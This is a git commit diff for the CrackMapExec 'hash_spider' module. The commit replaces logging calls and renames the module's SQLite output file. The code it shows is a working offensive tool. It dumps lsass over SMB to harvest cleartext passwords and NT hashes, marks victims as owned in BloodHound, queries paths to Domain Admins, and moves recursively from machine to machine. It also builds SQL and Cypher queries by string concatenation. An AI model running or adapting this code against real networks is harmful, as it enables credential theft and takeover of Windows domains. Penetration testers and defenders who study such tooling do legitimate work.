fix(hash_spider): update logging methods and update output DB file name
parent
1bc4150ea1
commit
c7cc04e546
|
@ -1,9 +1,6 @@
|
||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
# -*- coding: utf-8 -*-
|
# -*- coding: utf-8 -*-
|
||||||
|
# Author: Peter Gormington (@hackerm00n on Twitter)
|
||||||
# Author:
|
|
||||||
# Peter Gormington @hackerm00n on Twitter
|
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
from sqlite3 import connect
|
from sqlite3 import connect
|
||||||
from sys import exit
|
from sys import exit
|
||||||
|
@ -22,21 +19,21 @@ reported_da = []
|
||||||
|
|
||||||
def neo4j_conn(context, connection, driver):
|
def neo4j_conn(context, connection, driver):
|
||||||
if connection.config.get('BloodHound', 'bh_enabled') != "False":
|
if connection.config.get('BloodHound', 'bh_enabled') != "False":
|
||||||
context.log.info("Connecting to Neo4j/Bloodhound.")
|
context.log.display("Connecting to Neo4j/Bloodhound.")
|
||||||
try:
|
try:
|
||||||
session = driver.session()
|
session = driver.session()
|
||||||
list(session.run("MATCH (g:Group) return g LIMIT 1"))
|
list(session.run("MATCH (g:Group) return g LIMIT 1"))
|
||||||
context.log.info("Connection Successful!")
|
context.log.display("Connection Successful!")
|
||||||
except AuthError as e:
|
except AuthError as e:
|
||||||
context.log.error("Invalid credentials.")
|
context.log.fail("Invalid credentials")
|
||||||
except ServiceUnavailable as e:
|
except ServiceUnavailable as e:
|
||||||
context.log.error("Could not connect to neo4j database.")
|
context.log.fail("Could not connect to neo4j database")
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
context.log.error("Error querying domain admins")
|
context.log.fail("Error querying domain admins")
|
||||||
print(e)
|
context.log.debug(e)
|
||||||
else:
|
else:
|
||||||
context.log.highlight("BloodHound not marked enabled. Check cme.conf")
|
context.log.highlight("BloodHound not marked enabled. Check cme.conf")
|
||||||
exit()
|
exit(1)
|
||||||
|
|
||||||
|
|
||||||
def neo4j_local_admins(context, driver):
|
def neo4j_local_admins(context, driver):
|
||||||
|
@ -45,9 +42,9 @@ def neo4j_local_admins(context, driver):
|
||||||
session = driver.session()
|
session = driver.session()
|
||||||
admins = session.run(
|
admins = session.run(
|
||||||
"MATCH (c:Computer) OPTIONAL MATCH (u1:User)-[:AdminTo]->(c) OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WITH COLLECT(u1) + COLLECT(u2) AS TempVar,c UNWIND TempVar AS Admins RETURN c.name AS COMPUTER, COUNT(DISTINCT(Admins)) AS ADMIN_COUNT,COLLECT(DISTINCT(Admins.name)) AS USERS ORDER BY ADMIN_COUNT DESC") # This query pulls all PCs and their local admins from Bloodhound. Based on: https://github.com/xenoscr/Useful-BloodHound-Queries/blob/master/List-Queries.md and other similar posts
|
"MATCH (c:Computer) OPTIONAL MATCH (u1:User)-[:AdminTo]->(c) OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WITH COLLECT(u1) + COLLECT(u2) AS TempVar,c UNWIND TempVar AS Admins RETURN c.name AS COMPUTER, COUNT(DISTINCT(Admins)) AS ADMIN_COUNT,COLLECT(DISTINCT(Admins.name)) AS USERS ORDER BY ADMIN_COUNT DESC") # This query pulls all PCs and their local admins from Bloodhound. Based on: https://github.com/xenoscr/Useful-BloodHound-Queries/blob/master/List-Queries.md and other similar posts
|
||||||
context.log.info("Admins and PCs obtained.")
|
context.log.success("Admins and PCs obtained.")
|
||||||
except Exception:
|
except Exception:
|
||||||
context.log.error("Could not pull admins.")
|
context.log.fail("Could not pull admins")
|
||||||
exit()
|
exit()
|
||||||
admin_results = [record for record in admins.data()]
|
admin_results = [record for record in admins.data()]
|
||||||
|
|
||||||
|
@ -84,24 +81,25 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
|
||||||
context.log.highlight(
|
context.log.highlight(
|
||||||
f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH.")
|
f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH.")
|
||||||
cursor.execute("UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'", [password])
|
cursor.execute("UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'", [password])
|
||||||
username = (f"{username.upper()}@{context.log.extra['host'].upper()}")
|
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
|
||||||
dbconnection.commit()
|
dbconnection.commit()
|
||||||
session = driver.session()
|
session = driver.session()
|
||||||
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
|
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
|
||||||
if nthash == 'aad3b435b51404eeaad3b435b51404ee' or nthash == '31d6cfe0d16ae931b73c59d7e0c089c0':
|
if nthash == 'aad3b435b51404eeaad3b435b51404ee' or nthash == '31d6cfe0d16ae931b73c59d7e0c089c0':
|
||||||
context.log.error(f"Hash for {username} is expired.")
|
context.log.fail(f"Hash for {username} is expired.")
|
||||||
elif username not in found_users and nthash is not None:
|
elif username not in found_users and nthash is not None:
|
||||||
context.log.highlight(
|
context.log.highlight(
|
||||||
f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH.")
|
f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH.")
|
||||||
found_users.append(username)
|
found_users.append(username)
|
||||||
cursor.execute("UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'", [nthash])
|
cursor.execute("UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'", [nthash])
|
||||||
dbconnection.commit()
|
dbconnection.commit()
|
||||||
username = (f"{username.upper()}@{context.log.extra['host'].upper()}")
|
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
|
||||||
session = driver.session()
|
session = driver.session()
|
||||||
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
|
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
|
||||||
path_to_da = session.run(
|
path_to_da = session.run(
|
||||||
"MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
|
"MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
|
||||||
paths = [record for record in path_to_da.data()]
|
paths = [record for record in path_to_da.data()]
|
||||||
|
|
||||||
for path in paths:
|
for path in paths:
|
||||||
if path:
|
if path:
|
||||||
for key, value in path.items():
|
for key, value in path.items():
|
||||||
|
@ -122,12 +120,19 @@ def initial_run(connection, cursor):
|
||||||
|
|
||||||
|
|
||||||
class CMEModule:
|
class CMEModule:
|
||||||
name = 'hash_spider'
|
name = "hash_spider"
|
||||||
description = "Dump lsass recursively from a given hash using BH to find local admins"
|
description = "Dump lsass recursively from a given hash using BH to find local admins"
|
||||||
supported_protocols = ['smb']
|
supported_protocols = ["smb"]
|
||||||
opsec_safe = True
|
opsec_safe = True
|
||||||
multiple_hosts = True
|
multiple_hosts = True
|
||||||
|
|
||||||
|
def __init__(self, context=None, module_options=None):
|
||||||
|
self.context = context
|
||||||
|
self.module_options = module_options
|
||||||
|
self.reset = None
|
||||||
|
self.reset_dumped = None
|
||||||
|
self.method = None
|
||||||
|
|
||||||
def options(self, context, module_options):
|
def options(self, context, module_options):
|
||||||
"""
|
"""
|
||||||
METHOD Method to use to dump lsass.exe with lsassy
|
METHOD Method to use to dump lsass.exe with lsassy
|
||||||
|
@ -140,9 +145,9 @@ class CMEModule:
|
||||||
self.reset_dumped = module_options.get('RESET_DUMPED', False)
|
self.reset_dumped = module_options.get('RESET_DUMPED', False)
|
||||||
self.reset = module_options.get('RESET', False)
|
self.reset = module_options.get('RESET', False)
|
||||||
|
|
||||||
def run_lsassy(self, context, connection): # copied and pasted from lsassy_dumper
|
def run_lsassy(self, context, connection, cursor): # copied and pasted from lsassy_dumper & added cursor
|
||||||
# lsassy uses a custom "success" level, which requires initializing its logger or an error will be thrown
|
# lsassy uses a custom "success" level, which requires initializing its logger or an error will be thrown
|
||||||
# lsassy also removes all other handlers and overwrites the formatter which is terrible
|
# lsassy also removes all other handlers and overwrites the formatter which is bad (we want ours)
|
||||||
# so what we do is define "success" as a logging level, then do nothing with the output
|
# so what we do is define "success" as a logging level, then do nothing with the output
|
||||||
logging.addLevelName(25, 'SUCCESS')
|
logging.addLevelName(25, 'SUCCESS')
|
||||||
setattr(logging, 'success', lambda message, *args: ())
|
setattr(logging, 'success', lambda message, *args: ())
|
||||||
|
@ -165,16 +170,16 @@ class CMEModule:
|
||||||
domain=domain_name
|
domain=domain_name
|
||||||
)
|
)
|
||||||
if session.smb_session is None:
|
if session.smb_session is None:
|
||||||
context.log.error("Couldn't connect to remote host. Password likely expired/changed. Removing from DB.")
|
context.log.fail("Couldn't connect to remote host. Password likely expired/changed. Removing from DB.")
|
||||||
cursor.execute("UPDATE admin_users SET hash = NULL WHERE username LIKE '" + username + "'")
|
cursor.execute(f"UPDATE admin_users SET hash = NULL WHERE username LIKE '{username}'")
|
||||||
return False
|
return False
|
||||||
dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method)
|
dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method)
|
||||||
if dumper is None:
|
if dumper is None:
|
||||||
context.log.error("Unable to load dump method '{}'".format(self.method))
|
context.log.fail("Unable to load dump method '{}'".format(self.method))
|
||||||
return False
|
return False
|
||||||
file = dumper.dump()
|
file = dumper.dump()
|
||||||
if file is None:
|
if file is None:
|
||||||
context.log.error("Unable to dump lsass")
|
context.log.fail("Unable to dump lsass")
|
||||||
return False
|
return False
|
||||||
credentials, tickets, masterkeys = Parser(file).parse()
|
credentials, tickets, masterkeys = Parser(file).parse()
|
||||||
file.close()
|
file.close()
|
||||||
|
@ -203,61 +208,67 @@ class CMEModule:
|
||||||
cursor.execute(f"SELECT * FROM pc_and_admins WHERE pc_name = '{pc[0]}' AND dumped NOT LIKE 'TRUE'")
|
cursor.execute(f"SELECT * FROM pc_and_admins WHERE pc_name = '{pc[0]}' AND dumped NOT LIKE 'TRUE'")
|
||||||
more_to_dump = cursor.fetchall()
|
more_to_dump = cursor.fetchall()
|
||||||
if len(more_to_dump) > 0:
|
if len(more_to_dump) > 0:
|
||||||
context.log.info(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.")
|
context.log.display(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.")
|
||||||
connection.domain = user[0].split('@')[1]
|
connection.domain = user[0].split('@')[1]
|
||||||
setattr(connection, "host", pc[0].split('.')[0])
|
setattr(connection, "host", pc[0].split('.')[0])
|
||||||
setattr(connection, "username", user[0].split('@')[0])
|
setattr(connection, "username", user[0].split('@')[0])
|
||||||
setattr(connection, "nthash", user[1])
|
setattr(connection, "nthash", user[1])
|
||||||
setattr(connection, "nthash", user[1])
|
setattr(connection, "nthash", user[1])
|
||||||
try:
|
try:
|
||||||
self.run_lsassy(context, connection)
|
self.run_lsassy(context, connection, cursor)
|
||||||
cursor.execute(
|
cursor.execute(
|
||||||
"UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'")
|
"UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'")
|
||||||
|
|
||||||
process_creds(context, connection, credentials_data, dbconnection, cursor, driver)
|
process_creds(context, connection, credentials_data, dbconnection, cursor, driver)
|
||||||
self.spider_pcs(context, connection, cursor, dbconnection, driver)
|
self.spider_pcs(context, connection, cursor, dbconnection, driver)
|
||||||
except Exception:
|
except Exception:
|
||||||
context.log.error(f"Failed to dump lsassy on {pc[0]}")
|
context.log.fail(f"Failed to dump lsassy on {pc[0]}")
|
||||||
if len(admin_access) > 0:
|
if len(admin_access) > 0:
|
||||||
context.log.error(
|
context.log.fail(
|
||||||
"No more local admin access known. Please try re-running Bloodhound with newly found accounts.")
|
"No more local admin access known. Please try re-running Bloodhound with newly found accounts.")
|
||||||
exit()
|
exit()
|
||||||
|
|
||||||
def on_admin_login(self, context, connection):
|
def on_admin_login(self, context, connection):
|
||||||
db_path = connection.config.get('CME', 'workspace')
|
db_path = connection.config.get('CME', 'workspace')
|
||||||
dbconnection = connect(db_path, check_same_thread=False,
|
# DB will be saved at ./CrackMapExec/hash_spider_default.sqlite3 if workspace in cme.conf is "default"
|
||||||
isolation_level=None) # Sqlite DB will be saved at ./CrackMapExec/default if name in cme.conf is default
|
db_name = f"hash_spider_{db_path}.sqlite3"
|
||||||
|
dbconnection = connect(
|
||||||
|
db_name,
|
||||||
|
check_same_thread=False,
|
||||||
|
isolation_level=None
|
||||||
|
)
|
||||||
|
|
||||||
cursor = dbconnection.cursor()
|
cursor = dbconnection.cursor()
|
||||||
if self.reset != False:
|
if self.reset:
|
||||||
try:
|
try:
|
||||||
cursor.execute("DROP TABLE IF EXISTS admin_users;")
|
cursor.execute("DROP TABLE IF EXISTS admin_users;")
|
||||||
cursor.execute("DROP TABLE IF EXISTS pc_and_admins;")
|
cursor.execute("DROP TABLE IF EXISTS pc_and_admins;")
|
||||||
context.log.info("Database reseted")
|
context.log.display("Database reset")
|
||||||
exit()
|
exit()
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
context.log.error("Database reset error", str(e))
|
context.log.fail("Database reset error", str(e))
|
||||||
exit
|
exit()
|
||||||
|
|
||||||
if self.reset_dumped:
|
if self.reset_dumped:
|
||||||
try:
|
try:
|
||||||
cursor.execute("UPDATE pc_and_admins SET dumped = 'False'")
|
cursor.execute("UPDATE pc_and_admins SET dumped = 'False'")
|
||||||
context.log.info("PCs can be dumped again.")
|
context.log.display("PCs can be dumped again.")
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
context.log.error("Database update error", str(e))
|
context.log.fail("Database update error", str(e))
|
||||||
exit
|
exit()
|
||||||
|
|
||||||
neo4j_user = connection.config.get('BloodHound', 'bh_user')
|
neo4j_user = connection.config.get('BloodHound', 'bh_user')
|
||||||
neo4j_pass = connection.config.get('BloodHound', 'bh_pass')
|
neo4j_pass = connection.config.get('BloodHound', 'bh_pass')
|
||||||
neo4j_uri = connection.config.get('BloodHound', 'bh_uri')
|
neo4j_uri = connection.config.get('BloodHound', 'bh_uri')
|
||||||
neo4j_port = connection.config.get('BloodHound', 'bh_port')
|
neo4j_port = connection.config.get('BloodHound', 'bh_port')
|
||||||
neo4j_db = "bolt://" + neo4j_uri + ":" + neo4j_port
|
neo4j_db = f"bolt://{neo4j_uri}:{neo4j_port}"
|
||||||
driver = GraphDatabase.driver(neo4j_db, auth=basic_auth(neo4j_user, neo4j_pass), encrypted=False)
|
driver = GraphDatabase.driver(neo4j_db, auth=basic_auth(neo4j_user, neo4j_pass), encrypted=False)
|
||||||
neo4j_conn(context, connection, driver)
|
neo4j_conn(context, connection, driver)
|
||||||
neo4j_local_admins(context, driver)
|
neo4j_local_admins(context, driver)
|
||||||
create_db(admin_results, dbconnection, cursor)
|
create_db(admin_results, dbconnection, cursor)
|
||||||
initial_run(connection, cursor)
|
initial_run(connection, cursor)
|
||||||
context.log.info("Running lsassy.")
|
context.log.display("Running lsassy")
|
||||||
self.run_lsassy(context, connection)
|
self.run_lsassy(context, connection, cursor)
|
||||||
process_creds(context, connection, credentials_data, dbconnection, cursor, driver)
|
process_creds(context, connection, credentials_data, dbconnection, cursor, driver)
|
||||||
context.log.info("🕷️ Starting to spider. 🕷️")
|
context.log.display("🕷️ Starting to spider 🕷️")
|
||||||
self.spider_pcs(context, connection, cursor, dbconnection, driver)
|
self.spider_pcs(context, connection, cursor, dbconnection, driver)
|
||||||
|
|
Loading…
Reference in New Issue